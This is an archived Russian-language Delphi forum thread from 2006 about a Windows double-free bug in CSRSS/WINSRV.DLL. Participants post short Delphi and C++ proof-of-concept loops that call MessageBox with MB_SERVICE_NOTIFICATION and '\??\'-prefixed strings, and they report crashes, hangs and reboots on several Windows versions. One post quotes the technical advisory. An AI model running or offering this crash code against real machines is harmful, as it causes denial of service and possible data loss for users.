Форум: "Прочее";
Текущий архив: 2007.01.14;
Скачать: [xml.tar.bz2];
Вниз"Убийственный MessageBox от Мелкомягких" Найти похожие ветки
← →
ferr © (2006-12-23 21:37) [0]http://www.kuban.ru/forum_new/forum2/files/19124.html
← →
antonn © (2006-12-23 21:54) [1]ой, я позавчера два часа искал причину AV...
окахалось, что если в Listbox первая строка:="", то на Win2k получаем AV и ругаемся на nt.dll, а я думал на руки свои, и честно переписывал цикл за циклом, делал новые проекты и прочее...
← →
Ученик чародея © (2006-12-23 22:11) [2]Всего лишь очередная уязвимость для новых троянов/вирусов под Windows. Так как их сегодня уже более 200000, то одним больше, одним меньше...
← →
Kolan © (2006-12-23 22:23) [3]«Убийственный MessageBox от Мелкомягких»
Че-то у меня как всегда не получилось :)
10 раз появился MessageBox и все, ничего…
← →
jack128 © (2006-12-23 23:34) [4]Kolan © (23.12.06 22:23) [3]
OS, сервис паки и код в студию..
← →
Чапаев © (2006-12-23 23:58) [5]С первой попытки на строку \\?\\c:\\ система вылетела, в дальнейшем она же никак на этот код не реагировала. XP SP2 Rus.
← →
Kolan © (2006-12-24 00:06) [6]«OS»
XP SP2
«код»
procedure TForm3.BitBtn1Click(Sender: TObject);
var
I: Integer;
BugString: String;
begin
BugString := "\\??\\C:\\";
for I := 0 to 10 do
MessageBox(0, PAnsiChar(BugString), PAnsiChar(BugString),
MB_SERVICE_NOTIFICATION);
end;
«паки»
Непонял…
← →
Kolan © (2006-12-24 00:07) [7]«\\?\\c:\\»
Почему один вопросительный знак?
← →
Eraser © (2006-12-24 00:15) [8]imho, нужно убрать экранирующие слэши для делфи. хотя не проверял.
← →
Gero © (2006-12-24 00:17) [9]> [8] Eraser © (24.12.06 00:15)
> imho, нужно убрать экранирующие слэши для делфи. хотя не
> проверял.
А какая разница? Делфи-то пофиг.
← →
Kerk © (2006-12-24 00:18) [10]> [8] Eraser © (24.12.06 00:15)
+1
← →
Kolan © (2006-12-24 00:19) [11]А если винда на другом диске? Сейчас то у меня на «Ц», а вот раньше была на «Д». Тоже сработает?
← →
Anatoly Podgoretsky © (2006-12-24 00:19) [12]> Gero (24.12.2006 0:17:09) [9]
А вот СИ нет
← →
jack128 © (2006-12-24 00:23) [13]Kolan © (24.12.06 0:06) [6]
"\\??\\C:\\";
А. Поторопился. На rsdn обсуждали строку BugStr := "\??"!!!"
← →
jack128 © (2006-12-24 00:25) [14]E vtyz cbcntvf?
Kolan © (24.12.06 0:06) [6]
«паки»
не просто "паки" а "сервис паки" ;-) . У мя такая же ось, что и у тя, BugStr := "\??"!!!" - увела в ребут её на 4ой MessageBox"e ^-)
← →
jack128 © (2006-12-24 00:27) [15]Блин. По клавишам не поподаю. Еще раз - строка - BugStr := "\??\!!!"
Или так: byte[] helloBug = new byte[] {0x5C, 0x3F, 0x3F, 0x5C, 0x21, 0x21, 0x21, 0x00};
← →
Gero © (2006-12-24 00:28) [16]> [12] Anatoly Podgoretsky © (24.12.06 00:19)
Хм, действительно, нужно глубже смотреть.
← →
Vovan #2 (2006-12-24 00:41) [17]Не догоняю. Что написать надо? Пробовал:
var
I: Integer;
BugString: String;
begin
BugString := "\??\!!!";
for I := 0 to 10 do
MessageBox(0, PAnsiChar(BugString), PAnsiChar(BugString),
MB_SERVICE_NOTIFICATION);
Не вырубает.
← →
Vovan #2 (2006-12-24 00:43) [18]О, круть. На \\??\\C:\\ торкнуло без нажатия кнопочки.
← →
DeadMeat © (2006-12-24 01:59) [19]Хъыы...
На висте билд 6000 вот это "\??\!!!" кинуло в BSOD на первом же мессадж боксе. И на кнопку даже не нажал. Win32k.sys вроде был в сообщении.
← →
Zeqfreed © (2006-12-24 02:13) [20]Интересно, через wine будет работать? :) Лень проверять.
← →
Старый Добрый Бахус (2006-12-24 02:44) [21]procedure TForm1.Button1Click(Sender: TObject);
const
s = "\\??\\C:\\";
var
I: Integer;
begin
for I := 0 to 9 do
MessageBox(0,s,s,MB_SERVICE_NOTIFICATION);
end;
SP2. Полет нормальный. Что я делаю неправильно?
← →
Palladin © (2006-12-24 02:57) [22]
> [21] Старый Добрый Бахус
Плохо читаешь ветку.
Gero уже раскаялся :)
← →
atruhin © (2006-12-24 08:20) [23]2003 server вылетел после 5 итерации
← →
Loginov Dmitry © (2006-12-24 08:36) [24]> Что я делаю неправильно?
Уже сказали ведь, что надо убрать экранирующие бэкслеши:
const
s = "\??\C:\";
[у меня МесиджБоксы показывали только квадратики, а на 4-м винда полностью зависла, и перезагрузилась. Жесть.]
Чую, что общий вид строки: "\??\XXX", где Х - любой символ.
И видимо, это не баг, а наоборот фича, которую прогеры Мелкософта специально предусмотрели :)))
← →
Чапаев © (2006-12-24 10:55) [25]> [8] Eraser © (24.12.06 00:15)
Я вообще сначала предположил, что нужно \\?\c:\, но на эту строку система не отреагировала.
← →
iZEN © (2006-12-24 11:41) [26]Не из-под админа система падает этожэсть!
← →
VirEx © (2006-12-24 13:11) [27]ничего не падает, WinXPSP2
← →
Gero © (2006-12-24 13:18) [28]> [26] iZEN © (24.12.06 11:41)
Какое нездоровое злорадствие.
← →
Проходил тут (2006-12-24 18:45) [29]С первым багом Висту:
http://news.softodrom.ru/ap/b1572.shtml
← →
ANTPro © (2006-12-24 18:50) [30]> [27] VirEx © (24.12.06 13:11)
Еще как падает : )
← →
Vendict © (2006-12-24 20:57) [31]Loginov Dmitry © (24.12.06 8:36) [24]
[у меня МесиджБоксы показывали только квадратики, а на 4-м винда полностью зависла, и перезагрузилась. Жесть.]
первый пустой, с каждым следующим квадратиков больше, на 4м ребут. win2k проверял через VMWare, не хотелось кидать win2k3
← →
Kolan © (2006-12-24 21:54) [32]Хех, а уменя (я же тут поддержку иероглифоф установил) каждый раз не новом(имхо) азиатском языке иегорлифами писало, а потом тоже упало…
← →
Kolan © (2006-12-24 21:59) [33]«не новом»
на новом
← →
isasa © (2006-12-24 22:24) [34]Оригинал, по умолчанию в MSVS не пойдет(ошибка компиляции, надо возиться с установками проекта), т.к. XP все-таки юникодовая система и вызывается MessageBoxW
Вот так, в самый раз,
_TCHAR bug [] = L"\\??\\C:\\";
for(int i = 0; i < 10; i ++)
{
::MessageBox(0, bug, bug, MB_SERVICE_NOTIFICATION);
}
но системе не падает, а после третьего окна "намертво" виснет. Выход, по кнопке перезагрузки на сис. блоке.
← →
BiN © (2006-12-24 22:26) [35]Technical Details:
If the MB_SERVICE_NOTIFICATION flag is specified when calling the MessageBox function from the Windows API, it will use the NtRaiseHardError syscall to send a HardError message to CSRSS. This message contains the caption and text of a message box to be displayed by CSRSS on behalf of the caller. This functionality is designed to allow non-interactive services to notify the user of critical errors.
The HardError message is handled by the UserHardError function in WINSRV.DLL. It calls GetHardErrorText to read the message parameters from the address space of the sender. The GetHardErrorText function returns pointers to the caption and text of the message box. If the caption or text parameters start with the \??\ prefix, the function inexplicably frees the buffer and returns a pointer to freed memory. After the message box is closed by the user, the same buffer is freed again in the FreePhi function, resulting in a double free vulnerability.
Solution:
The GetHardErrorText function in WINSRV.DLL should not free the buffers with the text and caption parameters when they start with the \??\ prefix.
(c) http://www.mirrordot.com/stories/e55a8a5c43e4f6e1640d568324ecc13e/index.html
← →
isasa © (2006-12-24 22:34) [36]А вот в таком варианте, идет молчаливая перезагрузка(просте перезагрузка без синих экранов)
_TCHAR bug [] = _T("\\??\\C:\\");
for(int i = 0; i < 10; i ++)
{
::MessageBox(0, bug, bug, MB_SERVICE_NOTIFICATION);
}
← →
Kolan © (2006-12-24 22:40) [37]У меня кстати комп не пререзагрузился, но и не синий экран. Просто черный экран. И светодиод на блоке горит… :)
← →
ferr © (2006-12-24 23:00) [38]а я даже и не пробовал)
← →
Loginov Dmitry © (2006-12-24 23:59) [39]> BiN © (24.12.06 22:26)
Ну я же говорил... Фича это :)
← →
Cardinal © (2006-12-25 00:40) [40]Да баг жестокий :)
После четвертого бокса моментально ушел на перезагрузку пикнув динамиком
Страницы: 1 2 вся ветка
Форум: "Прочее";
Текущий архив: 2007.01.14;
Скачать: [xml.tar.bz2];
Память: 0.54 MB
Время: 0.015 c